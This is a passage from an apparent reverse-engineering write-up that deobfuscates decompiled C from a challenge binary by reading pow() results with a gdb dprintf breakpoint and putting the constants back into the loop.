&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v145&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">bitwise_not&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v137&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">and_arg1_arg2&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">1503872738LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">978965565LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">1470160614LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v125&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">mult_arg1_arg2&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">761654413LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">3043887596LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">4085454309LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v120&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">mult_arg1_arg2&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v131&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">xor_first_two&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">3333670936LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">2147831941LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">2217132274LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v115&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">add_arg1_arg2&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">4141055499LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">1038626365LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">1517838417LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v112&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">xor_first_two&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v109&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">add_arg1_arg2&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">2686461105LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">3867813406LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">686930351LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v106&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">xor_first_two&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">3259940977LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">1820144441LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">2738368048LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v103&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">mult_arg1_arg2&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v2&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">bitwise_not&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">2920661428LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">408102610LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">758347707LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v3&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">xor_first_two&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">2688446990LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">3924691225LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">3780184521LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v4&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">or_arg1_arg2&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v5&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">xor_first_two&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">715168552LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">4203380807LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">4042894304LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v6&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">and_arg1_arg2&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">3362982059LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">1951226027LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">2091265364LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v7&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">mult_arg1_arg2&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">2447727191LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">4231433857LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">2356928693LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v8&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">v4&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">v7&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v6&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v5&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v9&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">v103&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">v8&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v3&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v2&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v10&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">v112&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">v9&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v106&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v109&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v11&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">v120&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">v10&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v115&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v131&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v12&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">v145&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">v11&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v125&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v137&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">LODWORD&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">v159&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">v159&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">v12&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v148&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v154&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v155&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">mult_arg1_arg2&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v149&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">integer_div_arg1_arg2&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v146&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">and_arg1_arg2&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v138&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">add_arg1_arg2&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">3879220815LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">1303544047LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">1673289997LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v126&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">or_arg1_arg2&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">119385303LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">3231329148LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">141954786LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v121&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">bitwise_not&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v132&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">and_arg1_arg2&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">1503872738LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">978965565LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">1470160614LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v116&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">mult_arg1_arg2&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">761654413LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">3043887596LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">4085454309LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v113&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">mult_arg1_arg2&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v110&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">xor_first_two&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">3333670936LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">2147831941LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">2217132274LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v107&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">add_arg1_arg2&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">4141055499LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">1038626365LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">1517838417LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v104&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">xor_first_two&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v102&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">add_arg1_arg2&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">2686461105LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">3867813406LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">686930351LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v101&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">xor_first_two&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">3259940977LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">1820144441LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">2738368048LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v100&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">mult_arg1_arg2&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v13&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">bitwise_not&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">2920661428LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">408102610LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">758347707LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v14&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">xor_first_two&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">2688446990LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">3924691225LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">3780184521LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v15&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">or_arg1_arg2&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v16&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">xor_first_two&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">715168552LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">4203380807LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">4042894304LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v17&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">and_arg1_arg2&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">3362982059LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">1951226027LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">2091265364LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v18&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">mult_arg1_arg2&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">2447727191LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">4231433857LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">2356928693LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v19&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">v15&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">v18&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v17&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v16&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v20&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">v100&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">v19&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v14&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v13&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v21&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">v104&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">v20&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v101&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v102&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v22&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">v113&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">v21&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v107&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v110&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v23&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">v121&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">v22&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v116&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v132&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v24&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">v146&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">v23&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v126&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v138&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v25&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">v149&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">v24&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">7LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">1501804614LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v26&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">v155&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">v25&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">7LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">3199106012LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v27&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">pow&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">2LL&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#00a8c8">int&lt;/span>&lt;span style="color:#111">)((&lt;/span>&lt;span style="color:#111">_DWORD&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#111">v159&lt;/span> &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#111">v26&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">),&lt;/span> &lt;span style="color:#ae81ff">3474473344LL&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>it basically does some operations then calls &lt;code>pow(2, result)&lt;/code> (third arg of pow is not used), then the rest of the logic uses it’s result for calculations, this pattern repeats four times inside the loop, we can replace those regions by their final results in the decompilation to simplify it.&lt;/p>
&lt;p>to get this four constants i used gdb with dprintf (setting the breakpoint at the final instruction before pow returns) to print the return value of pow.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">dprintf&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">0x162E&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">0x555555554000&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#d88200">&amp;#34;rax = 0x%02x&lt;/span>&lt;span style="color:#8045ff">\n&lt;/span>&lt;span style="color:#d88200">&amp;#34;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#960050;background-color:#1e0010">$&lt;/span>&lt;span style="color:#111">rax&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>we get these values&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">rax&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x08&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">rax&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x08&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">rax&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x20&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">rax&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x10&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">rax&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x08&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">rax&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x08&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">rax&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x20&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">rax&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x10&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>and sure enough, these four values kept repeating, meaning my observation was right, now putting them inside the loop gives us the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v172&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v168&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span> &lt;span style="color:#ae81ff">3LL&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v27&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x8&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// static 1 output
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#111">v173&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">second&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#111">v27&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v47&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x8&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// static 2 output
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#111">v174&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">second&lt;/span> &lt;span style="color:#f92672">/&lt;/span> &lt;span style="color:#111">v47&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v175&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">S&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">v172&lt;/span>&lt;span style="color:#111">];&lt;/span>
